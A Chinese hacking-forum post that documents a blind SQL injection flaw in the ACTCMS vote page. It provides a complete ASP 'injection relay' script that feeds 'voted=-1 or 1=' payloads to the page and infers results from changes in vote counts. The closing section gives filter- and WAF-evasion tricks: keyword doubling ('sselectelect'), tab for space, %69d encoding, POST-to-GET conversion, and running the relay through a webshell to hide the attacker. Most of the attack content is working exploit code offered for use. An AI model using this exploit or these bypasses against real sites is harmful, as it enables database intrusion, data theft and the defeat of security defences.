找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1932|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

+ x' P' e) W! c0 H看到ninty大牛的blog的一篇文章
6 y. w! }# \1 ^8 ^# W链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
5 |% q& @- h9 X0 n# x关于actcms漏洞的利用  by 3x qq:381862589
. D7 ?: Z5 E- f1 Q/ K' x" l+ l转载请注明以上
. I! l( K/ R6 X: X, D0 d4 W- ^漏洞文件:
+ |  g  q8 N% [: P4 |$ G4 I/plus/vote/vote.asp
) c$ }' x) j( i8 A- a" X, {代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
- y, o7 j# B  t% n5 r1 o/ E6 {- n; ~
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   5 b4 @# z' L" J6 [; |6 L
7 d, v5 D2 q( O. [5 [' a0 }
3    response.end    & X! v/ C. @  n) g
/ H6 A6 R$ z9 t
4    end if    0 z4 m  r) r3 h% L7 W2 A- q1 ^

7 E9 U2 d& \! |; Q( u6 K$ n5    for i=1 to request("voted").count    - n$ S; `/ U2 e* _! u

; s. c1 J/ E. ]/ l5 |9 I4 l6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
$ D; c6 Y* y+ J2 s( t1 X; o1 `6 _) }) J, w7 m  G" Q7 r
7    next   
' g6 E8 O- B' V" p- Y) {( b2 {8 W( U, V6 J6 Z) u% i9 l1 x2 o* b
8....    ; i0 R: t1 n* }1 s5 J7 E
; b. Z; [" e4 g: g) M# S2 F
9response.Redirect "index.asp?id="&id&""   
6 l  \5 s  ^5 G* q" O! X3 ~+ G投票结束回跳转回index.asp这个投票结果页面9 L4 V+ c7 \; g- x
如果投票成功票数加1
+ C8 H$ a' Y8 l6 }+ U# O! D3 s( I            失败票数不变$ R. v- B2 ?2 k) d
如图:
5 k& c  D2 B+ F) I: g" ~* \$ Ehttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
2 C6 b& e- y' U7 _; w
7 P( |! k4 \1 n3 H# a! [/ p2009-12-27 13:20
3 y2 W  S6 |& u
0 M) j3 a+ s- K2 w$ P利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
' X4 @+ ^8 V2 R6 c  {) J9 p: C+ @
本帖隐藏的内容需要回复才可以浏览
2 t$ O7 F9 |3 B我们用注入中转来实现这个注入具体代码如下:
; Q* |6 Z, Z' |1 K先用寂寞的刺猬大牛的注入中转生成jmget.asp
' S3 a: b2 i) c! C/ g1 A注入地址:http://localhost/actcms/plus/vote/vote.asp8 H4 E7 h  p; ]( ?1 X
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
$ `/ ?# L$ y! `0 S; ]  ?- y; j1 G% L2 f1 D/ K+ E
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
# m" u# o! Y: I2 B6 Q1 t) Q' S8 B
2 z7 w5 l1 Z6 H+ {  G+ W02JmdcwName=request("jmdcw")
& \- R" ]; H+ X5 s3 ~# u' v
$ j$ u# y: L& k# V; @+ [03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
7 n: }/ T$ T1 E  J: V+ W& E# x  ^# g' N4 z$ X8 \
04JmStr="id=1&voted=-1 or 1="&JmdcwName " V' P( I- L2 J" H4 `) c; B

5 \3 z8 ]$ _: u) k9 p# c4 [* U0 |0 w05JmStr=URLEncoding(JmStr)
$ Z5 _$ r* J5 x9 y; b2 {1 D" L9 J2 J5 j8 s0 \$ ?1 c+ [& `8 N& o
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
6 x1 c9 B0 S- _- A) W# t$ f( c7 ?
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"4 [; S5 H8 t, U

4 Z# {. ]( g: R  W- ^# n08testurl=testurl & "?" & JmStr
* V: o" x, @) @4 M! x5 \/ R% |' s2 F! ?' ]0 ?0 o; I. \+ C- f
09JMUrl=JMUrl & "?" & JmStr / r4 M/ C* q, a( h" J4 `

  L1 W; m3 n; e5 B4 x10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
3 K$ H2 i6 J% I" P5 j
8 W, i7 R( j2 s9 _. a1 Z9 l6 h! O11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
- o4 z3 m# Y1 ?" y+ n
- g' I% }$ c7 |12JmCok=replace(JmCok,chr(32),"%20")  
, E" x2 Y) U) L) y" Y/ Y+ Z% [8 T& z* [; \8 k
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
! ^9 S0 G4 [# V  x
/ G) A9 E5 Y& P4 u& x9 r* d14  % ?: \9 q7 w: x7 @( E

8 g, D) p! x& p' B$ X; @15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
; H0 ^7 _- \* _+ \6 u* k7 J3 U  E( x3 Q5 a( Y6 t
16  # L5 [. i: D; c. j# w
# p  |, @3 D* j7 r
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 # U  B8 E) t& _. ~1 U. o( ^

% o& Y$ ?1 X3 i5 Q9 k18response.write test1&""&test2&""
4 D! M- I4 @5 U0 A; W
* f" J4 t) ?7 i. }19  
8 Q1 a  _0 i" f3 t
; c" }% B( B, g0 j. P20if test1=test2 then '如前后记录相等,表示失败
. A% Y+ c" B* z" B' Y
  U7 B/ l3 x: Y+ N! b2 g& x21  response.write "failed"
1 O# r5 q1 l7 r! w% b) R* y4 J' Q8 A" u$ f! h
22else
: M/ _) _3 S, _, Z4 V7 a; w! N2 f8 Y7 ?- v
23  response.write "succeed"* r7 i2 y! s& m% t; `: h1 b  ~
! V/ B; p2 x7 |# ?$ e
24end if  3 N2 N8 a7 R; `' {5 j; K* i

5 h" S& A: G1 l3 y: @: e- X25  
! D0 C7 c7 O! _7 ]) W# U; L* t5 U& b9 U! b
26response.write "by 3x". k' V2 z$ d# c) l

" c. z# S7 f8 z# l, i+ _6 t27  5 b, h3 o3 u3 Q5 S* _; b! j

9 D7 u" ], g' E7 U1 r28  5 n7 s$ C  D, b+ M$ O2 H& p! @
* J( s0 \( |3 N5 n0 }3 p! z3 C" @# y
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
1 w, V* P6 J4 d- X7 ?- N! c
2 f# O# k- X5 g. b6 A30Dim Http - s& }4 \3 c" m+ w& }1 v& Q
2 T% Q- U  |" I
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
* r& }( Z+ ]* _  s% B3 ]- O
$ u: R( k- Z' G9 k+ Q32With Http 9 c8 x0 c; k! k1 Z) x
: M, K5 G/ b" x/ c' X( M3 @
33  $ J4 e/ T" g6 q# {5 K8 i3 k
2 P; a' U1 S5 r# R& J, N  t3 ~" c
34.Open "GET",PostUrl,False( ~4 ?- _% H5 k0 s6 _

5 G8 L! Z6 }, _% B) h- ^35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
, n4 T7 h; I5 H4 ~5 k7 w& K5 j% i; J: h  Z8 ^% G1 B2 y" g; }+ o
36.SetRequestHeader "Referer",PostRef 8 s2 v3 k" r. H8 j
: h- F8 J2 z7 `) C  J  b
37.SetRequestHeader "Cookie",PostCok / @  r. P( Y0 r

4 m6 A* Q2 {, v. v38.Send () 5 M% `0 L: N6 E; F7 x
( y0 g; h3 d3 L- |6 `
39PostData = .ResponseBody 3 k9 `1 p8 ^$ Z) |$ T. K( b
# V7 j+ O9 ^. ^  R$ ^7 V
40End With
) Q, E1 @; ?$ V; e7 g: @- @: P
' j" ?) x5 X- v- l41Set Http = Nothing
4 C, r' P* g: Z; j
$ Y% k* @# d+ t: Q1 ], r  b* y42PostData =bytes2BSTR(PostData) : \6 X$ ~$ {$ J

4 x: b' A4 Y; z4 J' i3 G1 n3 E43End Function
7 u3 x6 W: N& v. F
+ l4 w& R* e' D0 C. j44  2 a5 F1 F$ Y6 N

6 Q. E3 u! Q3 N* ?% L/ w+ J4 A, y5 O45  
4 s3 a, D* d  ~# i0 k; [0 |. j5 l+ `) N% ~
46Function bytes2BSTR(vIn)
5 Z5 K$ ~# ]- Z5 W! [7 ]  L
. S% d: M3 O3 n* b7 \7 o4 \! P* H47Dim strReturn - v. M- H" [& J

" L2 ]% Z; ~" [48Dim I, ThisCharCode, NextCharCode
! |2 ^- y" w# [0 ~3 Q+ X, [; W' Y; B
- d- m8 Y4 x0 j/ Q2 c49strReturn = ""
  Y; t( D, P( P# _1 }0 P2 T8 C7 x+ M5 G" Y0 I
50For I = 1 To LenB(vIn)
& `$ s% f7 y' b' `  r1 P$ C' \0 b) |9 Y* ^7 r0 V
51ThisCharCode = AscB(MidB(vIn, I, 1)) ! R) T3 o2 X. m1 Q, @
9 ], M$ Y2 e( f
52If ThisCharCode < &H80 Then
7 h& r  j1 A- X( w5 d
4 i8 c5 X* |$ `% f( D* _6 O3 N/ T& {53strReturn = strReturn & Chr(ThisCharCode)
4 q* R7 b4 v: V8 B4 P# ~" i9 k  q- p; S6 u, Z* z
54Else
; u! v* E6 z. K6 P
0 w) l. p0 M. ^2 |3 I9 N# s  j55NextCharCode = AscB(MidB(vIn, I + 1, 1))
. x* v6 T; v# B$ e5 E: t% X1 F, I9 T* N; b
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
1 p! _# R  ?+ X: T3 e9 w* R* C, u% Y% U4 `" Q: {; e& m4 Y
57I = I + 1 7 _  F: g4 Y# o2 m5 G
4 f% w: k% Q& {" G* u
58End If
& _8 ~. U5 i1 v# k
6 q( U* [' I) j2 x) Z  m$ g' n7 l) e59Next
. `) v, [1 U  z4 V* [" j4 {7 }# O, n8 t
60bytes2BSTR = strReturn & M/ {+ g8 J1 k/ ^' n9 F* x9 d2 }* U

, m' D% ]0 B% \. e2 T$ N' U, B% d7 k; ^61End Function! v. k1 }6 S! e) r

  z+ M& F3 _  X0 c1 s62  
4 n& b1 H# m9 s9 ^% S; w* ^; s( G5 `7 k3 W1 _) n
63Function URLEncoding(vstrin)  
; ~6 n# F/ `+ y) N# z$ v. m0 G. s) x/ k) p  S5 \. K* p
64strReturn=""' s- n, p9 o; ~* I
* f8 `; A  ?# g0 O3 I: v
65Dim i
# L" h, y% o2 |" L) n# L# S7 S; U) G
66For i=1 To Len(vstrin)
9 z- t1 b6 s3 T& ?" f( X- L% U- [) W; _# ?
67ThisChr=Mid(vstrin,i,1)
  X% m& }' z- i1 y8 q$ _5 E3 x2 R# z2 u- l
68if Abs(Asc(ThisChr))< &HFF Then
5 }- _  A1 d5 A( j* P& M# v" k3 I: g3 O( G
69strReturn=strReturn & ThisChr ) q, b$ |4 o5 e3 k1 x; l% W9 ^
$ V3 \0 h$ \) L' h
70Else& H/ O9 u* B' b! A2 t/ b

; b4 T7 t7 E8 v0 B+ T0 ~( P6 K$ d71InnerCode=Asc(ThisChr)
; J' L/ s/ A$ a, z+ M- i7 G; K  H1 H0 h
72If InnerCode<0 Then
! F/ A8 O8 G. r, X% X8 K/ m$ n. Q
73InnerCode=InnerCode + &H10000 - {) l' I% E4 x- J& z6 R% G
: O4 Q" S* y5 [8 x
74End If
0 F5 Q; Z# r1 ~3 J0 q6 `* \
4 ]$ q  j/ e  g5 k/ B5 ^75Hight1=(InnerCode And &HFF00) \&HFF 3 w; y" T0 F6 t
5 y  G+ w+ d6 O. A& }+ j
76Low1=InnerCode And &HFF
& J/ k3 n& i4 y+ p- Q3 \" `3 }4 E* s0 \  s6 m
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) ! F9 s8 q5 {- w

6 b, @+ t. z2 `( k* i) E3 W78End if
2 V( l8 ?( l, W. N
3 _% e  f/ ]2 s* @0 i$ j* `79Next
! S9 A0 \0 B! f; ]3 Z+ g
. J. r) Y+ R+ K8 `) \8 m80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
" O) o( g0 z( ^
" N) Y7 _# `" k" m81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 3 h7 y+ N) b* L& J. m

' }7 g& W% I5 q( S1 l) R82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 $ Y8 @$ E6 }5 D# J* ^, v
" M5 O' P' b/ Z3 D( Y: ?4 F
83URLEncoding=strReturn
! @( D5 g" J3 y) v
9 ?7 _8 D: y, {9 W& E1 Q5 J/ D+ U84End Function1 i! Z5 _- q8 B

& a# A0 V& }, A& e$ w) ~85  6 X: k2 \7 K% L9 N) a

1 t! \# c+ ?5 v2 u1 R* m86function getSt(body)
# U3 ?$ i! r% i. W9 D1 L  i: u: r" d- y* _7 _2 |
87  startpot=instr(body,"投票人数:")+len("投票人数:") 8 ]5 U, w; r) u

# \0 v% @! t8 I88  endpot=instr(startpot,body," ") 7 G7 x$ p7 z; l, w, r& b1 d
3 O4 o! R& ], R& z
89  getSt=mid(body,startpot,endpot-startpot)
1 i4 a8 x/ S6 V4 t1 p; @+ {$ W8 \) j* r, h! ~
90end function 1 y/ c, k1 Y  h" N
5 v% u' P7 Y" i1 L( e9 [$ \
91%>& k7 m7 h  T. D
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
8 P. f& C9 I6 I1 T7 h* v, K$ ^3 I2 I测试下效果:
: m, i' o* S# {, U, G" Y6 m: N! t投票成功:
) k9 Z! e% ~# p; Ghttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
4 c8 \% {4 S5 g2 w. ~2 Q* g
$ ^" l1 {( n, h1 i( o3 p- p2009-12-27 13:29% d$ P% J, d& o& J) v$ F% g
投票失败
7 g' ]' Q7 H. q& c+ J5 A$ p+ |; uhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
4 Q6 k5 E1 `3 v8 I' G/ X% T
& t/ O) C$ ^9 c$ q5 T9 ]* e2009-12-27 13:29/ U! t- }; I) C# h
-------------------------------------------------------------------------------- Y! ?4 W! g5 J" h, b( s
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
$ S  h; e  L5 L1 ?# s' R很抱歉。。。只能用单线程工具去注入。。。。。' p9 q" K5 z5 y, Y& h
所以失败。。。不好意思。。。/ n. v* k; O+ Q. M* R- ~
-------------------------------------------------------------------------------
, X3 a  |) \+ @- R, L' D  t# J8 B$ F2 u# Y
注入中转的一些其他应用" v% J# ?1 Y4 p( C$ H( Y
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了4 P2 I! N4 ?& T; w+ o6 v/ Y% S
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
) `: M6 Z9 s* f, N+ B& U: D2.post注入转成get型的注入,方便我们使用工具来跑
# l0 K. G9 P, R/ G$ o4 @; p3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")+ _# @. {5 X0 K' E' m
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过% B4 V4 q2 x# x+ K. `
& c5 ~8 W( w$ a7 G# T2 r- a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表